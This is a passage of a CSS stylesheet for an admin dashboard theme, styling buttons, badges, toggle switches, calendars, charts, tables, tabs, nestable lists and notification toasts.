#999999;\n}\n\nbutton.btn-info.dim {\n    box-shadow: inset 0px 0px 0px #1eacae, 0px 5px 0px 0px #1eacae, 0px 10px 5px #999999;\n}\n\nbutton.btn-info.dim:active {\n    box-shadow: inset 0px 0px 0px #1eacae, 0px 2px 0px 0px #1eacae, 0px 5px 3px #999999;\n}\n\nbutton.btn-success.dim {\n    box-shadow: inset 0px 0px 0px #1872ab, 0px 5px 0px 0px #1872ab, 0px 10px 5px #999999;\n}\n\nbutton.btn-success.dim:active {\n    box-shadow: inset 0px 0px 0px #1872ab, 0px 2px 0px 0px #1872ab, 0px 5px 3px #999999;\n}\n\nbutton.btn-danger.dim {\n    box-shadow: inset 0px 0px 0px #ea394c, 0px 5px 0px 0px #ea394c, 0px 10px 5px #999999;\n}\n\nbutton.btn-danger.dim:active {\n    box-shadow: inset 0px 0px 0px #ea394c, 0px 2px 0px 0px #ea394c, 0px 5px 3px #999999;\n}\n\nbutton.dim:before {\n    font-size: 50px;\n    line-height: 1em;\n    font-weight: normal;\n    color: #fff;\n    display: block;\n    padding-top: 10px;\n}\n\nbutton.dim:active:before {\n    top: 7px;\n    font-size: 50px;\n}\n\n.label {\n    background-color: #d1dade;\n    color: #5e5e5e;\n    font-size: 10px;\n    font-weight: 600;\n    padding: 3px 8px;\n    text-shadow: none;\n}\n\n.badge {\n    background-color: #d1dade;\n    color: #5e5e5e;\n    font-size: 11px;\n    font-weight: 600;\n    padding-bottom: 4px;\n    padding-left: 6px;\n    padding-right: 6px;\n    text-shadow: none;\n}\n\n.label-primary,\n.badge-primary {\n    background-color: #1ab394;\n    color: #FFFFFF;\n}\n\n.label-success,\n.badge-success {\n    background-color: #1c84c6;\n    color: #FFFFFF;\n}\n\n.label-warning,\n.badge-warning {\n    background-color: #f8ac59;\n    color: #FFFFFF;\n}\n\n.label-warning-light,\n.badge-warning-light {\n    background-color: #f8ac59;\n    color: #ffffff;\n}\n\n.label-danger,\n.badge-danger {\n    background-color: #ed5565;\n    color: #FFFFFF;\n}\n\n.label-info,\n.badge-info {\n    background-color: #23c6c8;\n    color: #FFFFFF;\n}\n\n.label-inverse,\n.badge-inverse {\n    background-color: #262626;\n    color: #FFFFFF;\n}\n\n.label-white,\n.badge-white {\n    background-color: #FFFFFF;\n    color: #5E5E5E;\n}\n\n.label-white,\n.badge-disable {\n    background-color: #2A2E36;\n    color: #8B91A0;\n}\n\n\n/* TOOGLE SWICH */\n\n.onoffswitch {\n    position: relative;\n    width: 64px;\n    -webkit-user-select: none;\n    -moz-user-select: none;\n    -ms-user-select: none;\n}\n\n.onoffswitch-checkbox {\n    display: none;\n}\n\n.onoffswitch-label {\n    display: block;\n    overflow: hidden;\n    cursor: pointer;\n    border: 2px solid #1ab394;\n    border-radius: 2px;\n}\n\n.onoffswitch-inner {\n    width: 200%;\n    margin-left: -100%;\n    -webkit-transition: margin 0.3s ease-in 0s;\n    transition: margin 0.3s ease-in 0s;\n}\n\n.onoffswitch-inner:before,\n.onoffswitch-inner:after {\n    float: left;\n    width: 50%;\n    height: 20px;\n    padding: 0;\n    line-height: 20px;\n    font-size: 12px;\n    color: white;\n    font-family: Trebuchet, Arial, sans-serif;\n    font-weight: bold;\n    box-sizing: border-box;\n}\n\n.onoffswitch-inner:before {\n    content: \"ON\";\n    padding-left: 10px;\n    background-color: #1ab394;\n    color: #FFFFFF;\n}\n\n.onoffswitch-inner:after {\n    content: \"OFF\";\n    padding-right: 10px;\n    background-color: #FFFFFF;\n    color: #999999;\n    text-align: right;\n}\n\n.onoffswitch-switch {\n    width: 20px;\n    margin: 0px;\n    background: #FFFFFF;\n    border: 2px solid #1ab394;\n    border-radius: 2px;\n    position: absolute;\n    top: 0;\n    bottom: 0;\n    right: 44px;\n    -webkit-transition: all 0.3s ease-in 0s;\n    transition: all 0.3s ease-in 0s;\n}\n\n.onoffswitch-checkbox:checked + .onoffswitch-label .onoffswitch-inner {\n    margin-left: 0;\n}\n\n.onoffswitch-checkbox:checked + .onoffswitch-label .onoffswitch-switch {\n    right: 0px;\n}\n\n\n/* CHOSEN PLUGIN */\n\n.chosen-container-single .chosen-single {\n    background: #ffffff;\n    box-shadow: none;\n    -moz-box-sizing: border-box;\n    background-color: #FFFFFF;\n    border: 1px solid #CBD5DD;\n    border-radius: 2px;\n    cursor: text;\n    height: auto !important;\n    margin: 0;\n    min-height: 30px;\n    overflow: hidden;\n    padding: 4px 12px;\n    position: relative;\n    width: 100%;\n}\n\n.chosen-container-multi .chosen-choices li.search-choice {\n    background: #f1f1f1;\n    border: 1px solid #ededed;\n    border-radius: 2px;\n    box-shadow: none;\n    color: #333333;\n    cursor: default;\n    line-height: 13px;\n    margin: 3px 0 3px 5px;\n    padding: 3px 20px 3px 5px;\n    position: relative;\n}\n\n\n/* PAGINATIN */\n\n.pagination > .active > a,\n.pagination > .active > span,\n.pagination > .active > a:hover,\n.pagination > .active > span:hover,\n.pagination > .active > a:focus,\n.pagination > .active > span:focus {\n    background-color: #f4f4f4;\n    border-color: #DDDDDD;\n    color: inherit;\n    cursor: default;\n    z-index: 2;\n}\n\n.pagination > li > a,\n.pagination > li > span {\n    background-color: #FFFFFF;\n    border: 1px solid #DDDDDD;\n    color: inherit;\n    float: left;\n    line-height: 1.42857;\n    margin-left: -1px;\n    padding: 4px 10px;\n    position: relative;\n    text-decoration: none;\n}\n\n\n/* TOOLTIPS */\n\n.tooltip-inner {\n    background-color: #2F4050;\n}\n\n.tooltip.top .tooltip-arrow {\n    border-top-color: #2F4050;\n}\n\n.tooltip.right .tooltip-arrow {\n    border-right-color: #2F4050;\n}\n\n.tooltip.bottom .tooltip-arrow {\n    border-bottom-color: #2F4050;\n}\n\n.tooltip.left .tooltip-arrow {\n    border-left-color: #2F4050;\n}\n\n\n/* EASY PIE CHART*/\n\n.easypiechart {\n    position: relative;\n    text-align: center;\n}\n\n.easypiechart .h2 {\n    margin-left: 10px;\n    margin-top: 10px;\n    display: inline-block;\n}\n\n.easypiechart canvas {\n    top: 0;\n    left: 0;\n}\n\n.easypiechart .easypie-text {\n    line-height: 1;\n    position: absolute;\n    top: 33px;\n    width: 100%;\n    z-index: 1;\n}\n\n.easypiechart img {\n    margin-top: -4px;\n}\n\n.jqstooltip {\n    box-sizing: content-box;\n}\n\n\n/* FULLCALENDAR */\n\n.fc-state-default {\n    background-color: #ffffff;\n    background-image: none;\n    background-repeat: repeat-x;\n    box-shadow: none;\n    color: #333333;\n    text-shadow: none;\n}\n\n.fc-state-default {\n    border: 1px solid;\n}\n\n.fc-button {\n    color: inherit;\n    border: 1px solid #e7eaec;\n    cursor: pointer;\n    display: inline-block;\n    height: 1.9em;\n    line-height: 1.9em;\n    overflow: hidden;\n    padding: 0 0.6em;\n    position: relative;\n    white-space: nowrap;\n}\n\n.fc-state-active {\n    background-color: #1ab394;\n    border-color: #1ab394;\n    color: #ffffff;\n}\n\n.fc-header-title h2 {\n    font-size: 16px;\n    font-weight: 600;\n    color: inherit;\n}\n\n.fc-content .fc-widget-header,\n.fc-content .fc-widget-content {\n    border-color: #e7eaec;\n    font-weight: normal;\n}\n\n.fc-border-separate tbody {\n    background-color: #F8F8F8;\n}\n\n.fc-state-highlight {\n    background: none repeat scroll 0 0 #FCF8E3;\n}\n\n.external-event {\n    padding: 5px 10px;\n    border-radius: 2px;\n    cursor: pointer;\n    margin-bottom: 5px;\n}\n\n.fc-ltr .fc-event-hori.fc-event-end,\n.fc-rtl .fc-event-hori.fc-event-start {\n    border-radius: 2px;\n}\n\n.fc-event,\n.fc-agenda .fc-event-time,\n.fc-event a {\n    padding: 4px 6px;\n    background-color: #1ab394;\n    /* background color */\n    border-color: #1ab394;\n    /* border color */\n}\n\n.fc-event-time,\n.fc-event-title {\n    color: #717171;\n    padding: 0 1px;\n}\n\n.ui-calendar .fc-event-time,\n.ui-calendar .fc-event-title {\n    color: #fff;\n}\n\n\n/* Chat */\n\n.chat-activity-list .chat-element {\n    border-bottom: 1px solid #e7eaec;\n}\n\n.chat-element:first-child {\n    margin-top: 0;\n}\n\n.chat-element {\n    padding-bottom: 15px;\n}\n\n.chat-element,\n.chat-element .media {\n    margin-top: 15px;\n}\n\n.chat-element,\n.media-body {\n    overflow: hidden;\n}\n\n.media-body {\n    display: block;\n    width: auto;\n}\n\n.chat-element > .pull-left {\n    margin-right: 10px;\n}\n\n.chat-element img.img-circle,\n.dropdown-messages-box img.img-circle {\n    width: 38px;\n    height: 38px;\n}\n\n.chat-element .well {\n    border: 1px solid #e7eaec;\n    box-shadow: none;\n    margin-top: 10px;\n    margin-bottom: 5px;\n    padding: 10px 20px;\n    font-size: 11px;\n    line-height: 16px;\n}\n\n.chat-element .actions {\n    margin-top: 10px;\n}\n\n.chat-element .photos {\n    margin: 10px 0;\n}\n\n.right.chat-element > .pull-right {\n    margin-left: 10px;\n}\n\n.chat-photo {\n    max-height: 180px;\n    border-radius: 4px;\n    overflow: hidden;\n    margin-right: 10px;\n    margin-bottom: 10px;\n}\n\n.chat {\n    margin: 0;\n    padding: 0;\n    list-style: none;\n}\n\n.chat li {\n    margin-bottom: 10px;\n    padding-bottom: 5px;\n    border-bottom: 1px dotted #B3A9A9;\n}\n\n.chat li.left .chat-body {\n    margin-left: 60px;\n}\n\n.chat li.right .chat-body {\n    margin-right: 60px;\n}\n\n.chat li .chat-body p {\n    margin: 0;\n    color: #777777;\n}\n\n.panel .slidedown .glyphicon,\n.chat .glyphicon {\n    margin-right: 5px;\n}\n\n.chat-panel .panel-body {\n    height: 350px;\n    overflow-y: scroll;\n}\n\n\n/* LIST GROUP */\n\na.list-group-item.active,\na.list-group-item.active:hover,\na.list-group-item.active:focus {\n    background-color: #1ab394;\n    border-color: #1ab394;\n    color: #FFFFFF;\n    z-index: 2;\n}\n\n.list-group-item-heading {\n    margin-top: 10px;\n}\n\n.list-group-item-text {\n    margin: 0 0 10px;\n    color: inherit;\n    font-size: 12px;\n    line-height: inherit;\n}\n\n.no-padding .list-group-item {\n    border-left: none;\n    border-right: none;\n    border-bottom: none;\n}\n\n.no-padding .list-group-item:first-child {\n    border-left: none;\n    border-right: none;\n    border-bottom: none;\n    border-top: none;\n}\n\n.no-padding .list-group {\n    margin-bottom: 0;\n}\n\n.list-group-item {\n    background-color: inherit;\n    border: 1px solid #e7eaec;\n    display: block;\n    margin-bottom: -1px;\n    padding: 10px 15px;\n    position: relative;\n}\n\n.elements-list .list-group-item {\n    border-left: none;\n    border-right: none;\n    /*border-top: none;*/\n    padding: 15px 25px;\n}\n\n.elements-list .list-group-item:first-child {\n    border-left: none;\n    border-right: none;\n    border-top: none !important;\n}\n\n.elements-list .list-group {\n    margin-bottom: 0;\n}\n\n.elements-list a {\n    color: inherit;\n}\n\n.elements-list .list-group-item.active,\n.elements-list .list-group-item:hover {\n    background: #f3f3f4;\n    color: inherit;\n    border-color: #e7eaec;\n    /*border-bottom: 1px solid #e7eaec;*/\n    /*border-top: 1px solid #e7eaec;*/\n    border-radius: 0;\n}\n\n.elements-list li.active {\n    -webkit-transition: none;\n    transition: none;\n}\n\n.element-detail-box {\n    padding: 25px;\n}\n\n\n/* FLOT CHART  */\n\n.flot-chart {\n    display: block;\n    height: 200px;\n}\n\n.widget .flot-chart.dashboard-chart {\n    display: block;\n    height: 120px;\n    margin-top: 40px;\n}\n\n.flot-chart.dashboard-chart {\n    display: block;\n    height: 180px;\n    margin-top: 40px;\n}\n\n.flot-chart-content {\n    width: 100%;\n    height: 100%;\n}\n\n.flot-chart-pie-content {\n    width: 200px;\n    height: 200px;\n    margin: auto;\n}\n\n.jqstooltip {\n    position: absolute;\n    display: block;\n    left: 0px;\n    top: 0px;\n    visibility: hidden;\n    background: #2b303a;\n    background-color: rgba(43, 48, 58, 0.8);\n    color: white;\n    text-align: left;\n    white-space: nowrap;\n    z-index: 10000;\n    padding: 5px 5px 5px 5px;\n    min-height: 22px;\n    border-radius: 3px;\n}\n\n.jqsfield {\n    color: white;\n    text-align: left;\n}\n\n.h-200 {\n    min-height: 200px;\n}\n\n.legendLabel {\n    padding-left: 5px;\n}\n\n.stat-list li:first-child {\n    margin-top: 0;\n}\n\n.stat-list {\n    list-style: none;\n    padding: 0;\n    margin: 0;\n}\n\n.stat-percent {\n    float: right;\n}\n\n.stat-list li {\n    margin-top: 15px;\n    position: relative;\n}\n\n\n/* DATATABLES */\n\ntable.dataTable thead .sorting,\ntable.dataTable thead .sorting_asc:after,\ntable.dataTable thead .sorting_desc,\ntable.dataTable thead .sorting_asc_disabled,\ntable.dataTable thead .sorting_desc_disabled {\n    background: transparent;\n}\n\ntable.dataTable thead .sorting_asc:after {\n    float: right;\n    font-family: fontawesome;\n}\n\ntable.dataTable thead .sorting_desc:after {\n    content: \"\\f0dd\";\n    float: right;\n    font-family: fontawesome;\n}\n\ntable.dataTable thead .sorting:after {\n    content: \"\\f0dc\";\n    float: right;\n    font-family: fontawesome;\n    color: rgba(50, 50, 50, 0.5);\n}\n\n.dataTables_wrapper {\n    padding-bottom: 30px;\n}\n\n\n/* CIRCLE */\n\n.img-circle {\n    border-radius: 50%;\n}\n\n.btn-circle {\n    width: 30px;\n    height: 30px;\n    padding: 6px 0;\n    border-radius: 15px;\n    text-align: center;\n    font-size: 12px;\n    line-height: 1.428571429;\n}\n\n.btn-circle.btn-lg {\n    width: 50px;\n    height: 50px;\n    padding: 10px 16px;\n    border-radius: 25px;\n    font-size: 18px;\n    line-height: 1.33;\n}\n\n.btn-circle.btn-xl {\n    width: 70px;\n    height: 70px;\n    padding: 10px 16px;\n    border-radius: 35px;\n    font-size: 24px;\n    line-height: 1.33;\n}\n\n.show-grid [class^=\"col-\"] {\n    padding-top: 10px;\n    padding-bottom: 10px;\n    border: 1px solid #ddd;\n    background-color: #eee !important;\n}\n\n.show-grid {\n    margin: 15px 0;\n}\n\n\n/* ANIMATION */\n\n.css-animation-box h1 {\n    font-size: 44px;\n}\n\n.animation-efect-links a {\n    padding: 4px 6px;\n    font-size: 12px;\n}\n\n#animation_box {\n    background-color: #f9f8f8;\n    border-radius: 16px;\n    width: 80%;\n    margin: 0 auto;\n    padding-top: 80px;\n}\n\n.animation-text-box {\n    position: absolute;\n    margin-top: 40px;\n    left: 50%;\n    margin-left: -100px;\n    width: 200px;\n}\n\n.animation-text-info {\n    position: absolute;\n    margin-top: -60px;\n    left: 50%;\n    margin-left: -100px;\n    width: 200px;\n    font-size: 10px;\n}\n\n.animation-text-box h2 {\n    font-size: 54px;\n    font-weight: 600;\n    margin-bottom: 5px;\n}\n\n.animation-text-box p {\n    font-size: 12px;\n    text-transform: uppercase;\n}\n\n\n/* PEACE */\n\n.pace {\n    -webkit-pointer-events: none;\n    pointer-events: none;\n    -webkit-user-select: none;\n    -moz-user-select: none;\n    -ms-user-select: none;\n    user-select: none;\n}\n\n.pace-inactive {\n    display: none;\n}\n\n.pace .pace-progress {\n    background: #1ab394;\n    position: fixed;\n    z-index: 2000;\n    top: 0;\n    width: 100%;\n    height: 2px;\n}\n\n.pace-inactive {\n    display: none;\n}\n\n\n/* WIDGETS */\n\n.widget {\n    border-radius: 5px;\n    padding: 15px 20px;\n    margin-bottom: 10px;\n    margin-top: 10px;\n}\n\n.widget.style1 h2 {\n    font-size: 30px;\n}\n\n.widget h2,\n.widget h3 {\n    margin-top: 5px;\n    margin-bottom: 0;\n}\n\n.widget-text-box {\n    padding: 20px;\n    border: 1px solid #e7eaec;\n    background: #ffffff;\n}\n\n.widget-head-color-box {\n    border-radius: 5px 5px 0px 0px;\n    margin-top: 10px;\n}\n\n.widget .flot-chart {\n    height: 100px;\n}\n\n.vertical-align div {\n    display: inline-block;\n    vertical-align: middle;\n}\n\n.vertical-align h2,\n.vertical-align h3 {\n    margin: 0;\n}\n\n.todo-list {\n    list-style: none outside none;\n    margin: 0;\n    padding: 0;\n    font-size: 14px;\n}\n\n.todo-list.small-list {\n    font-size: 12px;\n}\n\n.todo-list.small-list > li {\n    background: #f3f3f4;\n    border-left: none;\n    border-right: none;\n    border-radius: 4px;\n    color: inherit;\n    margin-bottom: 2px;\n    padding: 6px 6px 6px 12px;\n}\n\n.todo-list.small-list .btn-xs,\n.todo-list.small-list .btn-group-xs > .btn {\n    border-radius: 5px;\n    font-size: 10px;\n    line-height: 1.5;\n    padding: 1px 2px 1px 5px;\n}\n\n.todo-list > li {\n    background: #f3f3f4;\n    border-left: 6px solid #e7eaec;\n    border-right: 6px solid #e7eaec;\n    border-radius: 4px;\n    color: inherit;\n    margin-bottom: 2px;\n    padding: 10px;\n}\n\n.todo-list .handle {\n    cursor: move;\n    display: inline-block;\n    font-size: 16px;\n    margin: 0 5px;\n}\n\n.todo-list > li .label {\n    font-size: 9px;\n    margin-left: 10px;\n}\n\n.check-link {\n    font-size: 16px;\n}\n\n.todo-completed {\n    text-decoration: line-through;\n}\n\n.geo-statistic h1 {\n    font-size: 36px;\n    margin-bottom: 0;\n}\n\n.glyphicon.fa {\n    font-family: \"FontAwesome\";\n}\n\n\n/* INPUTS */\n\n.inline {\n    display: inline-block !important;\n}\n\n.input-s-sm {\n    width: 120px;\n}\n\n.input-s {\n    width: 200px;\n}\n\n.input-s-lg {\n    width: 250px;\n}\n\n.i-checks {\n    padding-left: 0;\n}\n\n.form-control,\n.single-line {\n    background-color: #FFFFFF;\n    background-image: none;\n    border: 1px solid #e5e6e7;\n    border-radius: 1px;\n    color: inherit;\n    display: block;\n    padding: 6px 12px;\n    -webkit-transition: border-color 0.15s ease-in-out 0s, box-shadow 0.15s ease-in-out 0s;\n    transition: border-color 0.15s ease-in-out 0s, box-shadow 0.15s ease-in-out 0s;\n    width: 100%;\n    font-size: 14px;\n}\n\n.form-control:focus,\n.single-line:focus {\n    border-color: #1ab394 !important;\n}\n\n.has-success .form-control {\n    border-color: #1ab394;\n}\n\n.has-warning .form-control {\n    border-color: #f8ac59;\n}\n\n.has-error .form-control {\n    border-color: #ed5565;\n}\n\n.has-success .control-label {\n    color: #1ab394;\n}\n\n.has-warning .control-label {\n    color: #f8ac59;\n}\n\n.has-error .control-label {\n    color: #ed5565;\n}\n\n.input-group-addon {\n    background-color: #fff;\n    border: 1px solid #E5E6E7;\n    border-radius: 1px;\n    color: inherit;\n    font-size: 14px;\n    font-weight: 400;\n    line-height: 1;\n    padding: 6px 12px;\n    text-align: center;\n}\n\n.spinner-buttons.input-group-btn .btn-xs {\n    line-height: 1.13;\n}\n\n.spinner-buttons.input-group-btn {\n    width: 20%;\n}\n\n.noUi-connect {\n    background: none repeat scroll 0 0 #1ab394;\n    box-shadow: none;\n}\n\n.slider_red .noUi-connect {\n    background: none repeat scroll 0 0 #ed5565;\n    box-shadow: none;\n}\n\n\n/* UI Sortable */\n\n.ui-sortable .ibox-title {\n    cursor: move;\n}\n\n.ui-sortable-placeholder {\n    border: 1px dashed #cecece !important;\n    visibility: visible !important;\n    background: #e7eaec;\n}\n\n.ibox.ui-sortable-placeholder {\n    margin: 0px 0px 23px !important;\n}\n\n\n/* Tabs */\n\n.tabs-container .panel-body {\n    background: #fff;\n    border: 1px solid #e7eaec;\n    border-radius: 2px;\n    padding: 20px;\n    position: relative;\n}\n\n.tabs-container .nav-tabs > li.active > a,\n.tabs-container .nav-tabs > li.active > a:hover,\n.tabs-container .nav-tabs > li.active > a:focus {\n    border: 1px solid #e7eaec;\n    border-bottom-color: transparent;\n    background-color: #fff;\n}\n\n.tabs-container .nav-tabs > li {\n    float: left;\n    margin-bottom: -1px;\n}\n\n.tabs-container .tab-pane .panel-body {\n    border-top: none;\n}\n\n.tabs-container .nav-tabs > li.active > a,\n.tabs-container .nav-tabs > li.active > a:hover,\n.tabs-container .nav-tabs > li.active > a:focus {\n    border: 1px solid #e7eaec;\n    border-bottom-color: transparent;\n}\n\n.tabs-container .nav-tabs {\n    border-bottom: 1px solid #e7eaec;\n}\n\n.tabs-container .tab-pane .panel-body {\n    border-top: none;\n}\n\n.tabs-container .tabs-left .tab-pane .panel-body,\n.tabs-container .tabs-right .tab-pane .panel-body {\n    border-top: 1px solid #e7eaec;\n}\n\n.tabs-container .nav-tabs > li a:hover {\n    background: transparent;\n    border-color: transparent;\n}\n\n.tabs-container .tabs-below > .nav-tabs,\n.tabs-container .tabs-right > .nav-tabs,\n.tabs-container .tabs-left > .nav-tabs {\n    border-bottom: 0;\n}\n\n.tabs-container .tabs-left .panel-body {\n    position: static;\n}\n\n.tabs-container .tabs-left > .nav-tabs,\n.tabs-container .tabs-right > .nav-tabs {\n    width: 20%;\n}\n\n.tabs-container .tabs-left .panel-body {\n    width: 80%;\n    margin-left: 20%;\n}\n\n.tabs-container .tabs-right .panel-body {\n    width: 80%;\n    margin-right: 20%;\n}\n\n.tabs-container .tab-content > .tab-pane,\n.tabs-container .pill-content > .pill-pane {\n    display: none;\n}\n\n.tabs-container .tab-content > .active,\n.tabs-container .pill-content > .active {\n    display: block;\n}\n\n.tabs-container .tabs-below > .nav-tabs {\n    border-top: 1px solid #e7eaec;\n}\n\n.tabs-container .tabs-below > .nav-tabs > li {\n    margin-top: -1px;\n    margin-bottom: 0;\n}\n\n.tabs-container .tabs-below > .nav-tabs > li > a {\n    border-radius: 0 0 4px 4px;\n}\n\n.tabs-container .tabs-below > .nav-tabs > li > a:hover,\n.tabs-container .tabs-below > .nav-tabs > li > a:focus {\n    border-top-color: #e7eaec;\n    border-bottom-color: transparent;\n}\n\n.tabs-container .tabs-left > .nav-tabs > li,\n.tabs-container .tabs-right > .nav-tabs > li {\n    float: none;\n}\n\n.tabs-container .tabs-left > .nav-tabs > li > a,\n.tabs-container .tabs-right > .nav-tabs > li > a {\n    min-width: 74px;\n    margin-right: 0;\n    margin-bottom: 3px;\n}\n\n.tabs-container .tabs-left > .nav-tabs {\n    float: left;\n    margin-right: 19px;\n}\n\n.tabs-container .tabs-left > .nav-tabs > li > a {\n    margin-right: -1px;\n    border-radius: 4px 0 0 4px;\n}\n\n.tabs-container .tabs-left > .nav-tabs .active > a,\n.tabs-container .tabs-left > .nav-tabs .active > a:hover,\n.tabs-container .tabs-left > .nav-tabs .active > a:focus {\n    border-color: #e7eaec transparent #e7eaec #e7eaec;\n    *border-right-color: #ffffff;\n}\n\n.tabs-container .tabs-right > .nav-tabs {\n    float: right;\n    margin-left: 19px;\n}\n\n.tabs-container .tabs-right > .nav-tabs > li > a {\n    margin-left: -1px;\n    border-radius: 0 4px 4px 0;\n}\n\n.tabs-container .tabs-right > .nav-tabs .active > a,\n.tabs-container .tabs-right > .nav-tabs .active > a:hover,\n.tabs-container .tabs-right > .nav-tabs .active > a:focus {\n    border-color: #e7eaec #e7eaec #e7eaec transparent;\n    *border-left-color: #ffffff;\n    z-index: 1;\n}\n\n\n/* SWITCHES */\n\n.onoffswitch {\n    position: relative;\n    width: 54px;\n    -webkit-user-select: none;\n    -moz-user-select: none;\n    -ms-user-select: none;\n}\n\n.onoffswitch-checkbox {\n    display: none;\n}\n\n.onoffswitch-label {\n    display: block;\n    overflow: hidden;\n    cursor: pointer;\n    border: 2px solid #1AB394;\n    border-radius: 3px;\n}\n\n.onoffswitch-inner {\n    display: block;\n    width: 200%;\n    margin-left: -100%;\n    -webkit-transition: margin 0.3s ease-in 0s;\n    transition: margin 0.3s ease-in 0s;\n}\n\n.onoffswitch-inner:before,\n.onoffswitch-inner:after {\n    display: block;\n    float: left;\n    width: 50%;\n    height: 16px;\n    padding: 0;\n    line-height: 16px;\n    font-size: 10px;\n    color: white;\n    font-family: Trebuchet, Arial, sans-serif;\n    font-weight: bold;\n    box-sizing: border-box;\n}\n\n.onoffswitch-inner:before {\n    content: \"ON\";\n    padding-left: 7px;\n    background-color: #1AB394;\n    color: #FFFFFF;\n}\n\n.onoffswitch-inner:after {\n    content: \"OFF\";\n    padding-right: 7px;\n    background-color: #FFFFFF;\n    color: #919191;\n    text-align: right;\n}\n\n.onoffswitch-switch {\n    display: block;\n    width: 18px;\n    margin: 0px;\n    background: #FFFFFF;\n    border: 2px solid #1AB394;\n    border-radius: 3px;\n    position: absolute;\n    top: 0;\n    bottom: 0;\n    right: 36px;\n    -webkit-transition: all 0.3s ease-in 0s;\n    transition: all 0.3s ease-in 0s;\n}\n\n.onoffswitch-checkbox:checked + .onoffswitch-label .onoffswitch-inner {\n    margin-left: 0;\n}\n\n.onoffswitch-checkbox:checked + .onoffswitch-label .onoffswitch-switch {\n    right: 0px;\n}\n\n\n/* Nestable list */\n\n.dd {\n    position: relative;\n    display: block;\n    margin: 0;\n    padding: 0;\n    list-style: none;\n    font-size: 13px;\n    line-height: 20px;\n}\n\n.dd-list {\n    display: block;\n    position: relative;\n    margin: 0;\n    padding: 0;\n    list-style: none;\n}\n\n.dd-list .dd-list {\n    padding-left: 30px;\n}\n\n.dd-collapsed .dd-list {\n    display: none;\n}\n\n.dd-item,\n.dd-empty,\n.dd-placeholder {\n    display: block;\n    position: relative;\n    margin: 0;\n    padding: 0;\n    min-height: 20px;\n    font-size: 13px;\n    line-height: 20px;\n}\n\n.dd-handle {\n    display: block;\n    margin: 5px 0;\n    padding: 5px 10px;\n    color: #333;\n    text-decoration: none;\n    border: 1px solid #e7eaec;\n    background: #f5f5f5;\n    border-radius: 3px;\n    box-sizing: border-box;\n    -moz-box-sizing: border-box;\n}\n\n.dd-handle span {\n    font-weight: bold;\n}\n\n.dd-handle:hover {\n    background: #f0f0f0;\n    cursor: pointer;\n    font-weight: bold;\n}\n\n.dd-item > button {\n    display: block;\n    position: relative;\n    cursor: pointer;\n    float: left;\n    width: 25px;\n    height: 20px;\n    margin: 5px 0;\n    padding: 0;\n    text-indent: 100%;\n    white-space: nowrap;\n    overflow: hidden;\n    border: 0;\n    background: transparent;\n    font-size: 12px;\n    line-height: 1;\n    text-align: center;\n    font-weight: bold;\n}\n\n.dd-item > button:before {\n    content: '+';\n    display: block;\n    position: absolute;\n    width: 100%;\n    text-align: center;\n    text-indent: 0;\n}\n\n.dd-item > button[data-action=\"collapse\"]:before {\n    content: '-';\n}\n\n#nestable2 .dd-item > button {\n    font-family: FontAwesome;\n    height: 34px;\n    width: 33px;\n    color: #c1c1c1;\n}\n\n#nestable2 .dd-item > button:before {\n    content: \"\\f067\";\n}\n\n#nestable2 .dd-item > button[data-action=\"collapse\"]:before {\n    content: \"\\f068\";\n}\n\n.dd-placeholder,\n.dd-empty {\n    margin: 5px 0;\n    padding: 0;\n    min-height: 30px;\n    background: #f2fbff;\n    border: 1px dashed #b6bcbf;\n    box-sizing: border-box;\n    -moz-box-sizing: border-box;\n}\n\n.dd-empty {\n    border: 1px dashed #bbb;\n    min-height: 100px;\n    background-color: #e5e5e5;\n    background-image: -webkit-linear-gradient(45deg, #ffffff 25%, transparent 25%, transparent 75%, #ffffff 75%, #ffffff), -webkit-linear-gradient(45deg, #ffffff 25%, transparent 25%, transparent 75%, #ffffff 75%, #ffffff);\n    background-image: linear-gradient(45deg, #ffffff 25%, transparent 25%, transparent 75%, #ffffff 75%, #ffffff), linear-gradient(45deg, #ffffff 25%, transparent 25%, transparent 75%, #ffffff 75%, #ffffff);\n    background-size: 60px 60px;\n    background-position: 0 0, 30px 30px;\n}\n\n.dd-dragel {\n    position: absolute;\n    z-index: 9999;\n    pointer-events: none;\n}\n\n.dd-dragel > .dd-item .dd-handle {\n    margin-top: 0;\n}\n\n.dd-dragel .dd-handle {\n    box-shadow: 2px 4px 6px 0 rgba(0, 0, 0, 0.1);\n}\n\n\n/**\n* Nestable Extras\n*/\n\n.nestable-lists {\n    display: block;\n    clear: both;\n    padding: 30px 0;\n    width: 100%;\n    border: 0;\n    border-top: 2px solid #ddd;\n    border-bottom: 2px solid #ddd;\n}\n\n#nestable-menu {\n    padding: 0;\n    margin: 10px 0 20px 0;\n}\n\n#nestable-output,\n#nestable2-output {\n    width: 100%;\n    font-size: 0.75em;\n    line-height: 1.333333em;\n    font-family: lucida grande, lucida sans unicode, helvetica, arial, sans-serif;\n    padding: 5px;\n    box-sizing: border-box;\n    -moz-box-sizing: border-box;\n}\n\n#nestable2 .dd-handle {\n    color: inherit;\n    border: 1px dashed #e7eaec;\n    background: #f3f3f4;\n    padding: 10px;\n}\n\n#nestable2 .dd-handle:hover {\n    /*background: #bbb;*/\n}\n\n#nestable2 span.label {\n    margin-right: 10px;\n}\n\n#nestable-output,\n#nestable2-output {\n    font-size: 12px;\n    padding: 25px;\n    box-sizing: border-box;\n    -moz-box-sizing: border-box;\n}\n\n\n/* CodeMirror */\n\n.CodeMirror {\n    border: 1px solid #eee;\n    height: auto;\n}\n\n.CodeMirror-scroll {\n    overflow-y: hidden;\n    overflow-x: auto;\n}\n\n\n/* Google Maps */\n\n.google-map {\n    height: 300px;\n}\n\n\n/* Validation */\n\nlabel.error {\n    color: #cc5965;\n    display: inline-block;\n    margin-left: 5px;\n}\n\n.form-control.error {\n    border: 1px dotted #cc5965;\n}\n\n\n/* ngGrid */\n\n.gridStyle {\n    border: 1px solid #d4d4d4;\n    width: 100%;\n    height: 400px;\n}\n\n.gridStyle2 {\n    border: 1px solid #d4d4d4;\n    width: 500px;\n    height: 300px;\n}\n\n.ngH eaderCell {\n    border-right: none;\n    border-bottom: 1px solid #e7eaec;\n}\n\n.ngCell {\n    border-right: none;\n}\n\n.ngTopPanel {\n    background: #F5F5F6;\n}\n\n.ngRow.even {\n    background: #f9f9f9;\n}\n\n.ngRow.selected {\n    background: #EBF2F1;\n}\n\n.ngRow {\n    border-bottom: 1px solid #e7eaec;\n}\n\n.ngCell {\n    background-color: transparent;\n}\n\n.ngHeaderCell {\n    border-right: none;\n}\n\n\n/* Toastr custom style */\n\n#toast-container > .toast {\n    background-image: none !important;\n}\n\n#toast-container > .toast:before {\n    position: fixed;\n    font-family: FontAwesome;\n    font-size: 24px;\n    line-height: 